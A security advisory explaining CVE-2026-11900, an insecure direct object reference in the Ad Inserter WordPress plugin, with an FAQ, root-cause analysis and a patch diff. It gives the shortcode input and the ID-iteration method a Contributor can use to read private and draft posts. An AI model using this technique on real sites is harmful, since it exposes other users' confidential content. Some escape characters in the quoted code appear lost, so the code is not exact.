What is CVE-2026-11900?

CVE-2026-11900 is an Insecure Direct Object Reference (IDOR) vulnerability in the Ad Inserter plugin for WordPress, versions 2.8.16 and earlier. It allows authenticated attackers with Contributor-level access or higher to read the full content of arbitrary posts, including private, draft, pending, trashed, and password-protected posts.

How does the vulnerability work?

The vulnerability exists in the replace_ai_tags() function, which processes the {reusable-block-N} tag pattern in the ‘data’ attribute of the [adinserter] shortcode. It calls get_post_field(‘post_content’, N) without verifying the user’s capability to read the post, without restricting the post type to ‘wp_block’, and without checking the post status. This allows an attacker to retrieve the content of any post by specifying its ID.

Who is affected by this vulnerability?

Any WordPress site running Ad Inserter version 2.8.16 or earlier is affected. The vulnerability can be exploited by authenticated users with at least Contributor-level access. Sites with multiple users or those allowing Contributor-level accounts are at higher risk.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 4.3, classified as Medium severity. This indicates a moderate risk where exploitation requires authentication but can lead to unauthorized disclosure of sensitive post content.

What is the practical impact of this vulnerability?

An attacker can read the full content of private, draft, pending, trashed, and password-protected posts. This could expose confidential business information, personal data, intellectual property, or unpublished content, potentially leading to data breaches or competitive intelligence gathering.

How can I check if my site is vulnerable?

Check the Ad Inserter plugin version in the WordPress admin dashboard under Plugins. If the version is 2.8.16 or lower, the site is vulnerable. You can also verify by reviewing the changelog or checking for the presence of the vulnerable code in ad-inserter.php.

How do I fix this vulnerability?

Update the Ad Inserter plugin to version 2.8.17 or later, which includes a security fix. The patch adds proper authorization checks: it verifies the post type is ‘wp_block’, the post status is ‘publish’, and the current user has permission to read the post using current_user_can(‘read_post’).

Are there any temporary mitigations if I cannot update immediately?

As a temporary measure, you can disable the Ad Inserter plugin or restrict Contributor-level accounts from creating or editing posts. However, updating to the patched version is the only complete fix.

What does the proof of concept demonstrate?

The proof of concept shows how an authenticated Contributor can log in, create a post containing the [adinserter data='{reusable-block-N}’] shortcode, and preview it to retrieve the content of any post with ID N. It iterates through post IDs to extract content from restricted posts.

Why was the vulnerability classified as Medium severity?

The vulnerability requires authentication (Contributor level or higher) and does not allow modification of data, only disclosure. While it can expose sensitive content, the need for a valid account reduces the attack surface, resulting in a Medium severity rating.

What is the root cause of this vulnerability?

The root cause is the lack of authorization checks in the replace_ai_tags() function. It directly retrieves post content using get_post_field() without verifying the user’s capability to read the post, the post type, or the post status, allowing access to any post by ID.

How does the patch fix the vulnerability?

The patch modifies replace_ai_tags() to use get_post() instead of get_post_field(), then checks that the post type is ‘wp_block’, the post status is ‘publish’, and the current user has the ‘read_post’ capability for that post. Only if all checks pass is the content returned.

Published : July 2, 2026

CVE-2026-11900: Ad Inserter <= 2.8.16 Insecure Direct Object Reference to Authenticated (Contributor+) Arbitrary Post Content Disclosure via 'data' Shortcode Attribute PoC, Patch Analysis & Rule

CVE ID CVE-2026-11900

Plugin ad-inserter

Severity Medium (CVSS 4.3)

CWE 639

Vulnerable Version 2.8.16

Patched Version 2.8.17

Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11900:
This vulnerability involves an Insecure Direct Object Reference (IDOR) in the Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress, affecting versions up to and including 2.8.16. The flaw exists in the ‘data’ attribute of the [adinserter] shortcode, allowing authenticated attackers with Contributor-level access or higher to disclose arbitrary post content including private, draft, pending, trashed, and password-protected posts.

The root cause resides in the replace_ai_tags() function within ad-inserter/ad-inserter.php, specifically at the code that processes the {reusable-block-N} tag pattern (around line 13074-13083 in the patched file). The vulnerable code calls get_post_field(‘post_content’, $block_id) without verifying the requesting user’s capability via current_user_can(‘read_post’), without restricting the post type to ‘wp_block’, and without checking the post status. This means any numeric ID passed as N in the tag retrieves the post_content field directly from the database without any authorization checks.

An attacker can exploit this by creating or editing a post with Contributor-level access, inserting the [adinserter] shortcode with a ‘data’ attribute containing a {reusable-block-N} tag where N is the ID of a targeted private post. When previewing the post, the plugin processes the shortcode, calls replace_ai_tags(), and expands the {reusable-block-N} tag to the full content of the targeted post. The attacker can iterate through post IDs to enumerate and extract content from restricted posts.

The patch modifies the code in replace_ai_tags() to validate the retrieved post using get_post(), then checks that post_type === ‘wp_block’, post_status === ‘publish’, and current_user_can(‘read_post’, $target_post->ID) before extracting post_content. This ensures only published reusable blocks that the current user has permission to read are returned.

Successful exploitation allows an authenticated attacker (Contributor or higher) to read the full content of arbitrary posts, including private, draft, pending, trashed, and password-protected posts owned by other users. This can lead to exposure of sensitive information contained in drafts, private pages, or password-protected content, potentially compromising confidential business data, personal information, or intellectual property.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/ad-inserter/ad-inserter.php
+++ b/ad-inserter/ad-inserter.php
@@ -5,7 +5,7 @@

 /*
 Plugin Name: Ad Inserter
-Version: 2.8.16
+Version: 2.8.17
 Description: Ad management with many advanced advertising features to insert ads at optimal positions
 Author: Igor Funa
 Author URI: http://igorfuna.com/
@@ -21,9 +21,20 @@

 Change Log

+Ad Inserter 2.8.17 - 2026-06-26
+- Security fix for insecure direct object reference (credits to nightward)
+- Security fix for missing authorization to block visibility (credits to Jack Pas (Dark.))
+- Security fix for missing authorization to unauthenticated header/footer code disclosure (credits to Evan)
+- Added support for sticky blocks
+- Added support for sticky parameter in block shortcodes
+- Added support for encoded url data shortcode
+- Added support to select individual capability for global custom field page access
+- Few minor bug fixes, cosmetic changes and code improvements
+
 Ad Inserter 2.8.16 - 2026-05-26
 - Fix for reflected cross-site scripting (credits to darkmode)
 - Added support for Gutenberg blocks
+- Lists button renamed to Conditions
 - Few minor bug fixes, cosmetic changes and code improvements

 Ad Inserter 2.8.15 - 2026-04-12
@@ -3708,11 +3719,13 @@
     }
   }

-  return array_values (array_unique ($all_caps));
+  $capabilities = array_values (array_unique ($all_caps));
+  sort ($capabilities);
+  return $capabilities;
 }

 //function ai_all_capabilities_including_users () {
-//  $caps = ai_all_registered_capabilities ();
+//  $caps = ai_all_capabilities ();

 //  $users = get_users (['fields' => 'ID']);

@@ -3902,10 +3915,10 @@
   // If this is an autosave, our form has not been submitted, so we don't want to do anything.
   if (defined ('DOING_AUTOSAVE') && DOING_AUTOSAVE) return;

-  if ($post->post_type === 'post' || $post->post_type === 'page') {
-    // Update post ids with gutenberg blocks
-    ai_get_post_ids_with_blocks ();
-  }
+//  if ($post->post_type === 'post' || $post->post_type === 'page') {
+//    // Update post ids with gutenberg blocks
+//    ai_get_post_ids_with_blocks ();
+//  }

   // Check if our nonce is set.
   if (!isset ($_POST ['adinserter_meta_box_nonce'])) return;
@@ -4053,10 +4066,10 @@
         if ($block >= 1 && $block <= 96) {
           if ($attributes ['enabled'] && $block_object [(int) $attributes ['blockNumber']]->get_enable_widget ()) {
             if ($attributes ['sticky']) {
-              $ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY'] = $attributes ['stickyHeight'];
+              $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'] = $attributes ['stickyHeight'];
             }
             $code = adinserter_gutenberg ((int) $attributes ['blockNumber']);
-            unset ($ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY']);
+            unset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY']);
           } else $code = '';

           return $code;
@@ -4310,7 +4323,7 @@
   }

   if (!$ai_wp_data [AI_CODE_FOR_IFRAME] && !is_rest ()) {
-    if ($ai_wp_data [AI_WP_DEBUGGING] != 0 && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
+    if ((current_user_can ('manage_options') || get_remote_debugging ()) && $ai_wp_data [AI_WP_DEBUGGING] != 0 && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
       if (is_numeric ($_GET ['ai-debug-code']) && $_GET ['ai-debug-code'] >= 1 && $_GET ['ai-debug-code'] <= 96) {
         $obj = $block_object [(int) $_GET ['ai-debug-code']];
         $block_name = $obj->number . '   ' . $obj->get_ad_name ();
@@ -4341,7 +4354,7 @@
 ';
     }

-    if (!get_disable_header_code () && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
+    if (!get_disable_header_code () && (current_user_can ('manage_options') || get_remote_debugging ()) && $ai_wp_data [AI_WP_DEBUGGING] != 0 && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
 //      $ai_wp_data [AI_FOOTER_JS_CODE_DOM_READY] .= "  jQuery('body').prepend ("" . get_code_debug_block (' ' . __('Header code', 'ad-inserter') . ' ' . ($header->get_enable_manual () ? '' : ' ' . _x('DISABLED', 'Header code', 'ad-inserter')), '<head>...</head>', strlen ($header_code) . ' ' . _n('character inserted', 'characters inserted', strlen ($header_code), 'ad-inserter') . ' ', $header->ai_getCode (), $header_code, true) . "");
       $ai_wp_data [AI_FOOTER_JS_CODE_DOM_READY] .= "document.querySelector ('body').insertAdjacentHTML ('afterbegin', "" . get_code_debug_block (' ' . __('Header code', 'ad-inserter') . ' ' . ($header->get_enable_manual () ? '' : ' ' . _x('DISABLED', 'Header code', 'ad-inserter')), '<head>...</head>', strlen ($header_code) . ' ' . _n('character inserted', 'characters inserted', strlen ($header_code), 'ad-inserter') . ' ', $header->ai_getCode (), $header_code, true) . "");
 ";
@@ -4617,7 +4630,7 @@
   }

   if (!$ai_wp_data [AI_CODE_FOR_IFRAME] && !is_rest ()) {
-    if (!get_disable_footer_code () && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
+    if (!get_disable_footer_code () && (current_user_can ('manage_options') || get_remote_debugging ()) && $ai_wp_data [AI_WP_DEBUGGING] != 0 && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
       echo get_code_debug_block (' ' . __('Footer code', 'ad-inserter') . ' ' . ($footer->get_enable_manual () ? '' : ' ' . _x('DISABLED', 'Footer code', 'ad-inserter')), '...</body>', strlen ($footer_code).' ' . _n('character inserted', 'characters inserted', strlen ($footer_code), 'ad-inserter'), $footer->ai_getCode (), $footer_code);
     }

@@ -7173,6 +7186,7 @@
   }
 }

+
 function ai_ajax () {
   global $ai_wp_data;

@@ -7199,6 +7213,10 @@
       if (isset ($_GET ["hide-debug-labels"]) && $_GET ["hide-debug-labels"] == 1) {
         $block->hide_debug_labels = true;
       }
+      set_user ();
+      if (!$block->check_page_types_lists_users ()) {
+        wp_die ();
+      }
       if ($block->get_iframe ())
         echo $block->get_iframe_page ();
     }
@@ -7473,6 +7491,10 @@
     if ($active < 1 || $active > 96) $active = 1;

     code_block_list ($start, $end, $search_text, $show_all_blocks, $active);
+
+    if ($show_all_blocks) {
+      ai_update_post_ids_with_blocks ();
+    }
   }

   elseif (isset ($_GET ["adsense-list"])) {
@@ -9157,7 +9179,8 @@
           return $images_data;
         }

-        if (isset ($images_data [0]) && json_encode ($images_data [0]['viewports']) == $all_viewports_json) {
+//        if (isset ($images_data [0]) && json_encode ($images_data [0]['viewports']) == $all_viewports_json) {
+        if (isset ($images_data [0]['viewports']) && json_encode ($images_data [0]['viewports']) == $all_viewports_json) {
           $image_data = $images_data [0];

           if (isset ($image_data ['id']) && is_int ($image_data ['id'])) {
@@ -10285,6 +10308,7 @@
     "data" => "",
     "share" => "",
     "time" => "",
+    "sticky" => "",
     "category" => "",
     "categories" => "",
     "tag" => "",
@@ -10375,10 +10399,6 @@

   if (is_numeric ($parameters ['block']) && !$name_only) {
     $block = intval ($parameters ['block']);
-
-//  } elseif ($parameters ['name'] != '' && !($parameters ['rotate'] != '' || in_array ('ROTATE', $atts) || in_array ('rotate', $atts))) {
-//      $shortcode_name = strtolower ($parameters ['name']);
-
   } elseif ($parameters ['block'] != '' && !($parameters ['rotate'] != '' || in_array ('ROTATE', $atts) || in_array ('rotate', $atts))) {
       $shortcode_name = strtolower ($parameters ['block']);
       for ($counter = 1; $counter <= 96; $counter ++) {
@@ -10756,9 +10776,18 @@
     if (isset ($ai_wp_data [AI_CURRENT_BLOCK_NAME])) {
       $saved_block_name = $ai_wp_data [AI_CURRENT_BLOCK_NAME];
     }
+    if ($parameters ['sticky'] != '') {
+      if (isset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'])) {
+        $saved_sticky = $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'];
+      }
+      $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'] = (int) $parameters ['sticky'];
+    }

     $code = $obj->get_code_for_serverside_insertion (true, false, $code_only);

+    if (isset ($saved_sticky)) {
+      $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'] = $saved_sticky;
+    } else unset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY']);
     if (isset ($saved_force_serverside)) {
       $ai_wp_data [AI_SHORTCODES]['force_serverside'] = $saved_force_serverside;
     } else unset ($ai_wp_data [AI_SHORTCODES]['force_serverside']);
@@ -13007,6 +13036,7 @@
       $host = $_SERVER ['SERVER_NAME'];
     }
     $url = remove_debug_parameters_from_url ((isset ($_SERVER ['HTTPS']) && $_SERVER ['HTTPS'] === 'on' ? "https" : "http") . '://'. $host . $_SERVER ['REQUEST_URI']);
+    $url_encoded = urlencode ($url);

     $post_id = ai_get_post_id ();

@@ -13032,6 +13062,7 @@
     $ai_wp_data [AI_TAGS]['POST_ID']              = $post_id;
     $ai_wp_data [AI_TAGS]['POST_DATE']            = get_the_date ();
     $ai_wp_data [AI_TAGS]['URL']                  = $url;
+    $ai_wp_data [AI_TAGS]['URL_ENCODED']          = $url_encoded;
   }

   // Author should not be cached
@@ -13074,13 +13105,17 @@
   $ad_data = preg_replace ("/{block-name-encoded}/i", isset ($ai_wp_data [AI_CURRENT_BLOCK_NAME])   ? urlencode ($ai_wp_data [AI_CURRENT_BLOCK_NAME])   : '', $ad_data);

   $ad_data = preg_replace ("/{url}/i",                $ai_wp_data [AI_TAGS]['URL'],               $ad_data);
+  $ad_data = preg_replace ("/{url-encoded}/i",        $ai_wp_data [AI_TAGS]['URL_ENCODED'],       $ad_data);

   if (preg_match ("/{reusable-block-([d]+)}/i", $ad_data, $block_match)) {
     $block_id  = $block_match [1];

     $reusable_block = '';
     if (!empty ($block_id) && (int) $block_id == $block_id) {
-      $reusable_block = get_post_field ('post_content', $block_id);
+      $target_post = get_post ((int) $block_id);
+      if ($target_post && $target_post->post_type === 'wp_block' && $target_post->post_status === 'publish' && current_user_can ('read_post', $target_post->ID)) {
+        $reusable_block = $target_post->post_content;
+      }
     }

     $ad_data = preg_replace ("/".$block_match [0]."/i", $reusable_block, $ad_data);
--- a/ad-inserter/class.php
+++ b/ad-inserter/class.php
@@ -5427,9 +5427,9 @@
       if ($parallax_options) break;
     }

-    $block_is_sticky = $this->get_sticky () || isset ($ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY']);
+    $block_is_sticky = $this->get_sticky () || isset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY']);
     if ($block_is_sticky) {
-      $height = isset ($ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY']) ? (int) $ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY'] : trim ($this->get_sticky_height ());
+      $height = isset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY']) ? (int) $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'] : trim ($this->get_sticky_height ());
       $style = '';

       if ($height != '' && !$parallax_options) {
@@ -11150,7 +11150,7 @@
 }

 define ('AI_MAX_GLOBAL_FIELD_PAGES',     4);
-define ('AI_MAX_GLOBAL_FIELDS',         20);
+define ('AI_MAX_GLOBAL_FIELDS',         40);

 class ai_global_fileds {

@@ -11334,7 +11334,16 @@
         if (!empty ($websites)) {
           foreach ($websites as $index => $website) {
             if (isset ($website ['enabled']) && $website ['enabled'] && trim ($website ['name']) != '') {
-              $capability = isset ($website ['access']) ? $this->get_role_capability ($website ['access']) : 'administrator';
+
+              if (isset ($website ['access'])) {
+                $access = $website ['access'];
+                if (strpos ($access, 'capability:') === 0) {
+                  $access = str_replace ('capability:', '', $access);
+                }
+
+                $capability = $this->get_role_capability ($access);
+              } else $capability = $this->get_role_capability ('administrator');
+

               if (!isset ($first_slug)) {
                 $first_slug = 'ai-remote-global-fields-' . ($index + 1);
@@ -12311,6 +12320,7 @@
                      ${newTab} />
           </label>

+          <div style="clear: both;"></div>
           <h2>${media_i18n.viewports}</h2>
       `);

--- a/ad-inserter/constants.php
+++ b/ad-inserter/constants.php
@@ -38,7 +38,7 @@
   define ('AD_INSERTER_NAME', 'Ad Inserter');

 if (!defined( 'AD_INSERTER_VERSION'))
-  define ('AD_INSERTER_VERSION', '2.8.16');
+  define ('AD_INSERTER_VERSION', '2.8.17');

 if (!defined ('AD_INSERTER_PLUGIN_BASENAME'))
   define ('AD_INSERTER_PLUGIN_BASENAME', plugin_basename (__FILE__));
@@ -1271,7 +1271,7 @@
 define ('AI_ACTIVE_GROUP_NAMES',         80);
 define ('AI_NO_JQUERY_CODE',             81);
 define ('AI_NO_GROUP_ACTIVATION',        82);
-define ('AI_GUTENBERG_BLOCK_STICKY',     83);
+define ('AI_BLOCK_OVERRIDE_STICKY',      83);


 define ('AI_CONTEXT_NONE',                0);
--- a/ad-inserter/settings.php
+++ b/ad-inserter/settings.php
@@ -2449,7 +2449,28 @@
           </table>
         </div>

-<?php if (function_exists ('ai_display_loading')) ai_display_loading ($block, $obj, $default); ?>
+<?php if (function_exists ('ai_display_loading')) ai_display_loading ($block, $obj, $default); else { ?>
+
+        <div class="ai-rounded">
+          <table class="ai-responsive-table" style="width: 100%;" cellspacing=0 cellpadding=0 >
+            <tbody>
+              <tr>
+                <td style="width: 30%;">
+                </td>
+                <td style="width: 50%; text-align: right;">
+                  <input type="hidden" name="<?php echo AI_OPTION_STICKY, WP_FORM_FIELD_POSTFIX, $block; ?>" value="0" />
+                  <input id="sticky-<?php echo $block; ?>" type="checkbox" name="<?php echo AI_OPTION_STICKY, WP_FORM_FIELD_POSTFIX, $block; ?>" value="1" title= "<?php _e ('Sticky ad with scrolling space below', 'ad-inserter'); ?>" default="<?php echo $default->get_sticky (); ?>" <?php if ($obj->get_sticky () == AI_ENABLED) echo 'checked '; ?> />
+                  <label for="sticky-<?php echo $block; ?>"><?php /* Translators: Sticky ad */ _e ('Sticky', 'ad-inserter'); ?></label>
+
+                  <input type="text" id="sticky-height-<?php echo $block; ?>" name="<?php echo AI_OPTION_STICKY_HEIGHT, WP_FORM_FIELD_POSTFIX, $block; ?>" default="<?php echo $default->get_sticky_height (); ?>" value="<?php echo $obj->get_sticky_height (); ?>" title= "<?php _e ('Height of the scrolling space below the ad', 'ad-inserter'); ?>" size="3" maxlength="8" />
+                  px
+                </td>
+              </tr>
+            </tbody>
+          </table>
+        </div>
+
+<?php } ?>

 <?php if (function_exists ('ai_close_button')) ai_close_button ($block, $obj, $default); ?>

@@ -2951,20 +2972,29 @@
             </thead>
             <tbody>
 <?php
+              $capabilities = ai_all_capabilities ();

-//              if (function_exists ('ai_general_settings_4')) {
-//                $users = get_users ();
-////                $capabilities = ai_all_capabilities ();
-//              }
               for ($page = 1; $page <= AI_MAX_GLOBAL_FIELD_PAGES; $page ++) {

                 $page_access = get_global_page_access ($page);
-                $user_capability_options = '';

-//                if (function_exists ('ai_general_settings_4')) {
-////                  $user_capability_options = ai_general_settings_4 ($page, $users, $capabilities);
-//                  $user_capability_options = ai_general_settings_4 ($page, $users);
-//                }
+                $is_page_access_capability = strpos ($page_access, 'capability:') === 0;
+                $page_access_capability = str_replace ('capability:', '', $page_access);
+
+                $capability_options = "<optgroup label='" . __('Capabilities', 'ad-inserter') . "'>n";
+
+                foreach ($capabilities as $capability) {
+                  $selected = '';
+                  if ($is_page_access_capability) {
+                    if ($page_access_capability == $capability) {
+                      $selected = ' selected="'.AD_SELECT_SELECTED.'"';
+                    }
+                  }
+                  $capability_options .= '<option value="capability:'.$capability.'"'.$selected.'>'.$capability.'</option>'."n";
+                }
+
+                $capability_options .= "</optgroup>n";
+
 ?>
               <tr>
                 <td style="padding: 0 0 2px 0;">
@@ -2997,6 +3027,8 @@
                     wp_dropdown_roles ($page_access);

 //                    echo $user_capability_options;
+
+                    echo $capability_options;
 ?>
                   </select>
                 </td>
@@ -3009,7 +3041,7 @@
         </div>
 <?php
         if (function_exists ('ai_remote_custom_pages')) {
-          ai_remote_custom_pages ();
+          ai_remote_custom_pages ($capability_options);
         }
 ?>
       </div>
@@ -4029,29 +4061,33 @@
   return $found;
 }

-function ai_get_post_ids_with_blocks (): array {
+function ai_update_post_ids_with_blocks () {
   global $wpdb;

+  $post_types   = ['post', 'page'];
+  $placeholders = implode (',', array_fill (0, count ($post_types), '%s'));
+  $like         = '%' . $wpdb->esc_like ('wp:' . AI_GUTENBERG_BLOCK) . '%';
+
+  $args = array_merge ([ $like], $post_types);
+
+  $post_ids = $wpdb->get_col (
+    $wpdb->prepare(
+      "SELECT ID FROM {$wpdb->posts}
+       WHERE post_status IN ('publish', 'pending', 'draft', 'auto-draft', 'future', 'private')
+       AND post_content LIKE %s
+       AND post_type IN ($placeholders)",
+      ...$args
+    )
+  );
+
+  set_transient (AI_TRANSIENT_POST_IDS, $post_ids, AI_TRANSIENT_POST_IDS_EXPIRATION);
+}
+
+function ai_get_post_ids_with_blocks (): array {
   $post_ids = get_transient (AI_TRANSIENT_POST_IDS);

   if ($post_ids === false) {
-    $post_types   = ['post', 'page'];
-    $placeholders = implode (',', array_fill (0, count ($post_types), '%s'));
-    $like         = '%' . $wpdb->esc_like ('wp:' . AI_GUTENBERG_BLOCK) . '%';
-
-    $args = array_merge ([ $like], $post_types);
-
-    $post_ids = $wpdb->get_col (
-      $wpdb->prepare(
-        "SELECT ID FROM {$wpdb->posts}
-         WHERE post_status IN ('publish', 'pending', 'draft', 'auto-draft', 'future', 'private')
-         AND post_content LIKE %s
-         AND post_type IN ($placeholders)",
-        ...$args
-      )
-    );
-
-    set_transient (AI_TRANSIENT_POST_IDS, $post_ids, AI_TRANSIENT_POST_IDS_EXPIRATION);
+    return [];
   }

   return $post_ids;
@@ -4101,25 +4137,27 @@
       continue;
     }

-    $sidebar_name = $wp_registered_sidebars [$sidebar_id]['name'];
+    if (isset ($wp_registered_sidebars [$sidebar_id]['name'])) {
+      $sidebar_name = $wp_registered_sidebars [$sidebar_id]['name'];

-    foreach ($widgets as $widget_id) {
-      // Block widgets have IDs like "block-1", "block-2", etc.
-      if (substr ($widget_id, 0, 6 ) !== 'block-') {
-        continue;
-      }
+      foreach ($widgets as $widget_id) {
+        // Block widgets have IDs like "block-1", "block-2", etc.
+        if (substr ($widget_id, 0, 6 ) !== 'block-') {
+          continue;
+        }

-      $number = (int) str_replace ('block-', '', $widget_id);
-      $content = $widget_data [$number]['content'] ?? '';
+        $number = (int) str_replace ('block-', '', $widget_id);
+        $content = $widget_data [$number]['content'] ?? '';

-      if ($content) {
-        $matches = ai_find_blocks_by_name ($content);
+        if ($content) {
+          $matches = ai_find_blocks_by_name ($content);

-        if ($matches) {
-          foreach ($matches as $match) {
-            $widget_block = $match ['attrs']['blockNumber'] ?? 1;
-            if ($widget_block >= 1 && $widget_block <= 96 && !in_array ($sidebar_name, $sidebars_with_widgets [$widget_block])) {
-              $sidebars_with_widgets [$widget_block] []= $sidebar_name;
+          if ($matches) {
+            foreach ($matches as $match) {
+              $widget_block = $match ['attrs']['blockNumber'] ?? 1;
+              if ($widget_block >= 1 && $widget_block <= 96 && !in_array ($sidebar_name, $sidebars_with_widgets [$widget_block])) {
+                $sidebars_with_widgets [$widget_block] []= $sidebar_name;
+              }
             }
           }
         }
@@ -6222,7 +6260,7 @@

 <?php

-  switch (rand (1, 12)) {
+  switch (rand (1, 8)) {
     case 1:
     case 2:
     case 3:
@@ -6257,22 +6295,22 @@
 <?php
       break;

-    case 9:
-    case 10:
-    case 11:
-    case 12:
-?>
-      <div class="ai-form header ai-rounded">
-        <div style="float: left;">
-          <h2 style="display: inline-block; margin: 5px 0;">WinUp</h2>
-        </div>
-        <div style="clear: both;"></div>
-      </div>
-      <div class="ai-form ai-rounded" style="height: 90px; padding: 8px 4px 8px 12px;">
-        <a href="https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-728x90" class="clear-link" title="WinUp" target="_blank"><img id="wu-72" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-72.png" /></a>
-      </div>
+//    case 9:
+//    case 10:
+//    case 11:
+//    case 12:
+?>
+<!--      <div class="ai-form header ai-rounded">-->
+<!--        <div style="float: left;">-->
+<!--          <h2 style="display: inline-block; margin: 5px 0;">WinUp</h2>-->
+<!--        </div>-->
+<!--        <div style="clear: both;"></div>-->
+<!--      </div>-->
+<!--      <div class="ai-form ai-rounded" style="height: 90px; padding: 8px 4px 8px 12px;">-->
+<!--        <a href="https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-728x90" class="clear-link" title="WinUp" target="_blank"><img id="wu-72" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-72.png" /></a>-->
+<!--      </div>-->
 <?php
-      break;
+//      break;

   }
 ?>
@@ -6444,14 +6482,14 @@
           <div class="ai-image-left">
 <?php switch ($version) {
         case 0: ?>
-            <a href="https://adinserter.pro/documentation/ad-impression-and-click-tracking" class="clear-link" title="<?php _e ('A/B testing - Track ad impressions and clicks', 'ad-inserter'); ?>" target="_blank"><img id="ai-pro-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-charts-250.png" /></a>
-<!--            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>-->
+<!--            <a href="https://adinserter.pro/documentation/ad-impression-and-click-tracking" class="clear-link" title="<?php _e ('A/B testing - Track ad impressions and clicks', 'ad-inserter'); ?>" target="_blank"><img id="ai-pro-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-charts-250.png" /></a>-->
+            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
 <?php   break; case 1: ?>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
 <!--            <a href="https://publisher.joinads.me/conversao-en?utm_source=AdInserter&utm_medium=banner&utm_campaign=lead&utm_content=carrossel" class="clear-link" title="<?php _e ('Maximize the revenue', 'ad-inserter'); ?>" target="_blank"><img id="ja25-1-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ja25-1.png" /></a>-->
-<!--            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>-->
-            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
+            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>
+<!--            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>-->
 <?php   break; case 2: ?>
 <!--            <a href='https://adinserter.pro/documentation/ad-blocking-detection' class="clear-link" title="<?php _e ('Ad blocking detection and content protection', 'ad-inserter'); ?>" target="_blank"><img id="ai-adb" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-adb.png" /></a>-->
             <a href="https://api.whatsapp.com/send?phone=34611051180&text=Hi%20there!%20I%27d%20like%20to%20access%20Google%20Ad%20Manager%20%f0%9f%98%8a" class="clear-link" title="<?php _e ('Join to AdManager', 'ad-inserter'); ?>" target="_blank"><img id="ai-ha-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ha-1.png" /></a>
@@ -6487,9 +6525,9 @@
 <?php   break;
         case 3:
         ?>
-<!--            <a href="https://adinserter.pro/documentation/black-and-white-lists#geo-targeting" class="clear-link" title="Geotargeting - black/white-list countries" target="_blank"><img id="ai-pro-3" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-countries-250.png" /></a>-->
